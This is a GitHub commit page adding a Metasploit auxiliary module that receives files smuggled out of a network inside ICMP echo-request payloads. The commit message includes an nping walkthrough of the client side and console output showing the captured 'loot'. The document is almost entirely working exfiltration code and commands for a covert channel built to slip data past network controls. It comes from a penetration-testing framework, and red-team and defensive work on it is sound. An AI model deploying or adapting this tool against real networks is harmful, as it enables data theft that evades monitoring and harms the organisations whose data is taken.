Skip to content

Commit 8c3f707

Browse files
author
Chris John Riley
committed
ICMP Data Exfiltration Module
Tested with nping for data exfiltration (client-side script is suggested to get the full functionality out of the module). Walkthrough ============ == Client == ============ > nping --icmp 10.0.0.138 --data-string "BOF:test.txt" -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:05 W. Europe Daylight Time SENT (0.5860s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=42953 iplen=40 RCVD (1.0580s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=3551 iplen=33 Max rtt: 13.000ms | Min rtt: 13.000ms | Avg rtt: 13.000ms Raw packets sent: 1 (54B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.46000s | Tx bytes/s: 117.39 | Tx pkts/s: 2.17 Rx time: 1.46000s | Rx bytes/s: 22.60 | Rx pkts/s: 0.68 Nping done: 1 IP address pinged in 2.05 seconds > nping --icmp 10.0.0.138 --data-string "test text...." -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:05 W. Europe Daylight Time SENT (0.6230s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=38228 iplen=41 RCVD (1.0540s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=14168 iplen=33 Max rtt: 10.000ms | Min rtt: 10.000ms | Avg rtt: 10.000ms Raw packets sent: 1 (55B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.42200s | Tx bytes/s: 130.33 | Tx pkts/s: 2.37 Rx time: 1.42200s | Rx bytes/s: 23.21 | Rx pkts/s: 0.70 Nping done: 1 IP address pinged in 2.04 seconds > nping --icmp 10.0.0.138 --data-string " test text.... again" -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:05 W. Europe Daylight Time SENT (0.6260s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=12163 iplen=48 RCVD (1.0580s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=60632 iplen=33 Max rtt: 12.000ms | Min rtt: 12.000ms | Avg rtt: 12.000ms Raw packets sent: 1 (62B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.42100s | Tx bytes/s: 147.27 | Tx pkts/s: 2.38 Rx time: 1.42200s | Rx bytes/s: 23.21 | Rx pkts/s: 0.70 Nping done: 1 IP address pinged in 2.05 seconds > nping --icmp 10.0.0.138 --data-string "EOF" -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:06 W. Europe Daylight Time SENT (0.6420s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=30459 iplen=31 RCVD (1.0970s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=55188 iplen=33 Max rtt: 24.000ms | Min rtt: 24.000ms | Avg rtt: 24.000ms Raw packets sent: 1 (45B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.43100s | Tx bytes/s: 104.41 | Tx pkts/s: 2.32 Rx time: 1.43100s | Rx bytes/s: 23.06 | Rx pkts/s: 0.70 Nping done: 1 IP address pinged in 2.07 seconds ============ == SERVER == ============ msf auxiliary(icmp_exfil) > rerun [*] Reloading module... [+] ICMP Listener started on eth0 (10.0.0.138). Monitoring for trigger packet containing ^BOF: [*] 2012-04-04 15:05:31 +0200: SRC:10.0.0.148 ICMP (type 8 code 0) DST:10.0.0.138 [+] Beginning capture of test.txt data [*] Received 18 bytes of data from 10.0.0.148 [*] Received 20 bytes of data from 10.0.0.148 [*] 38 bytes of data recevied in total [+] End of File received. Saving test.txt to loot [+] Incoming file test.txt saved to loot [+] Loot filename: /root/.msf4/loot/20120404150603_default_10.0.0.138_icmp_exfil_340768.txt [*] Stopping ICMP listener on eth0 (10.0.0.138) [-] Auxiliary interrupted by the console user [*] Auxiliary module execution completed msf auxiliary(icmp_exfil) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- 10.0.0.138 icmp_exfil test.txt text/xml ICMP Exfiltrated Data /root/.msf4/loot/20120404150603_default_10.0.0.138_icmp_exfil_340768.txt
1 parent 56b10d4 commit 8c3f707

File tree

1 file changed

+238
-0
lines changed

1 file changed

+238
-0
lines changed
Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
require 'msf/core'
13+
14+
class Metasploit3 < Msf::Auxiliary
15+
16+
include Msf::Exploit::Remote::Capture
17+
include Msf::Auxiliary::Report
18+
19+
def initialize
20+
super(
21+
'Name' => 'ICMP Exfiltration',
22+
'Version' => '$Revision$',
23+
'Description' => %q{
24+
This module is designed to provide a server-side component to receive and store files
25+
exfiltrated over ICMP.
26+
27+
To use this module you will need to send an initial ICMP echo request containing the
28+
specified trigger (defaults to '^BOF:') followed by the filename being sent. All data
29+
received from this source will automatically be added to the receive buffer until an
30+
ICMP echo request containing a specific end command (defaults to 'EOL') is received.
31+
},
32+
'Author' => 'Chris John Riley',
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
# general
37+
['URL', 'http://blog.c22.cc'],
38+
# packetfu
39+
['URL','http://code.google.com/p/packetfu/']
40+
]
41+
)
42+
43+
register_options([
44+
OptString.new('START_TRIGGER', [true, 'Trigger to listen for (followed by filename)', '^BOF:']),
45+
OptString.new('END_TRIGGER', [true, 'End of File command', '^EOF']),
46+
OptString.new('RESPONSE', [true, 'Data to respond when initial trigger matches', 'BEGIN']),
47+
OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),
48+
OptString.new('INTERFACE', [false, 'The name of the interface']),
49+
], self.class)
50+
51+
register_advanced_options([
52+
OptString.new('CLOAK', [false, 'Create the response packet using a specific OS fingerprint (windows, linux, freebsd)', 'linux']),
53+
OptBool.new('PROMISC', [false, 'Enable/Disable promiscuous mode', false]),
54+
], self.class)
55+
56+
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
57+
end
58+
59+
def run
60+
begin
61+
@interface = datastore['INTERFACE'] || Pcap.lookupdev
62+
@interface = get_interface_guid(@interface)
63+
@iface_ip = Pcap.lookupaddrs(@interface)[0]
64+
65+
@filter = datastore['BPF_FILTER']
66+
@eoftrigger = datastore['END_TRIGGER']
67+
@boftrigger = datastore['START_TRIGGER']
68+
@response = datastore['RESPONSE']
69+
@promisc = datastore['PROMISC'] || false
70+
@cloak = datastore['CLOAK'].downcase || 'linux'
71+
72+
@record = false
73+
74+
if @promisc
75+
print_status("Warning: Promiscuous mode enabled. This may cause issues!")
76+
end
77+
78+
# start listner
79+
icmplistener
80+
81+
rescue => ex
82+
print_error(ex.message)
83+
ensure
84+
storefile
85+
print_status("Stopping ICMP listener on %s (%s)" % [@interface, @iface_ip])
86+
end
87+
end
88+
89+
def icmplistener
90+
# start icmp listener
91+
92+
print_good("ICMP Listener started on %s (%s). Monitoring for trigger packet containing %s" % [@interface, @iface_ip, @boftrigger])
93+
cap = PacketFu::Capture.new(:iface => @interface, :start => true, :filter => @filter, :promisc => @promisc)
94+
loop {
95+
cap.stream.each do |pkt|
96+
packet = PacketFu::Packet.parse(pkt)
97+
data = packet.payload[4..-1]
98+
99+
if packet.is_icmp? and data =~ /#{@boftrigger}/
100+
101+
print_status("#{Time.now}: SRC:%s ICMP (type %d code %d) DST:%s" % [packet.ip_saddr, packet.icmp_type, packet.icmp_code, packet.ip_daddr])
102+
103+
# detect and warn if system is responding to ICMP echo requests
104+
# suggested fixes:
105+
#
106+
# (linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
107+
# (Windows) netsh firewall set icmpsetting 8 disable
108+
# (Windows cont.) netsh firewall set opmode mode = ENABLE
109+
110+
if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip
111+
raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!"
112+
end
113+
114+
if @record
115+
print_error("New file started without saving old data")
116+
storefile
117+
end
118+
119+
@p_icmp = packet
120+
121+
# begin recording stream
122+
@record = true
123+
@record_host = packet.ip_saddr
124+
@record_data = ''
125+
@filename = data[(@boftrigger.length-1)..-1].strip # set filename from icmp payload
126+
127+
print_good("Beginning capture of %s data" % @filename)
128+
129+
# create response packet icmp_pkt
130+
icmp_packet
131+
132+
if not @icmp_response
133+
raise RuntimeError ,"Could not build ICMP resonse"
134+
else
135+
# send response packet icmp_pkt
136+
send_icmp
137+
end
138+
break
139+
140+
elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr
141+
# check for EOF marker, if not continue recording
142+
143+
if data =~ /#{@eoftrigger}/
144+
print_status("%d bytes of data recevied in total" % @record_data.length)
145+
print_good("End of File received. Saving %s to loot" % @filename)
146+
storefile
147+
@p_icmp = packet
148+
149+
# create response packet icmp_pkt
150+
icmp_packet
151+
152+
if not @icmp_response
153+
raise RuntimeError , "Could not build ICMP resonse"
154+
else
155+
# send response packet icmp_pkt
156+
send_icmp
157+
end
158+
159+
# turn off recording and clear status
160+
@record = false
161+
@record_host = ''
162+
@record_data = ''
163+
else
164+
@record_data << data.to_s()
165+
print_status("Received %s bytes of data from %s" % [data.length, packet.ip_saddr])
166+
@p_icmp = packet
167+
168+
# create response packet icmp_pkt
169+
icmp_packet
170+
171+
if not @icmp_response
172+
raise RuntimeError , "Could not build ICMP resonse"
173+
else
174+
# send response packet icmp_pkt
175+
send_icmp
176+
end
177+
end
178+
end
179+
end
180+
}
181+
end
182+
183+
def icmp_packet
184+
# create icmp response
185+
186+
begin
187+
188+
@src_ip = @p_icmp.ip_daddr
189+
@src_mac = @p_icmp.eth_daddr
190+
@dst_ip = @p_icmp.ip_saddr
191+
@dst_mac = @p_icmp.eth_saddr
192+
@icmp_id = @p_icmp.payload[0,2]
193+
@icmp_seq = @p_icmp.payload[2,2]
194+
# create payload with matching id/seq
195+
@resp_payload = @icmp_id + @icmp_seq + @response
196+
197+
icmp_pkt = PacketFu::ICMPPacket.new(:flavor => @cloak)
198+
icmp_pkt.eth_saddr = @src_mac
199+
icmp_pkt.eth_daddr = @dst_mac
200+
icmp_pkt.icmp_type = 0
201+
icmp_pkt.icmp_code = 0
202+
icmp_pkt.payload = @resp_payload
203+
icmp_pkt.ip_saddr = @src_ip
204+
icmp_pkt.ip_daddr = @dst_ip
205+
icmp_pkt.recalc
206+
@icmp_response = icmp_pkt
207+
rescue => ex
208+
print_error(ex.message)
209+
end
210+
end
211+
212+
def send_icmp
213+
# send icmp response
214+
215+
begin
216+
@icmp_response.to_w(iface = @interface)
217+
if datastore['VERBOSE']
218+
print_good("Response sent to %s containing %d bytes of data" % [@dst_ip, @response.length])
219+
end
220+
rescue => ex
221+
print_error(ex.message)
222+
end
223+
end
224+
225+
def storefile
226+
# store the file
227+
loot = store_loot(
228+
"icmp_exfil",
229+
"text/xml",
230+
@src_ip,
231+
@record_data,
232+
@filename,
233+
"ICMP Exfiltrated Data"
234+
)
235+
print_good("Incoming file %s saved to loot" % @filename)
236+
print_good("Loot filename: %s" % loot)
237+
end
238+
end

0 commit comments

Comments
 (0)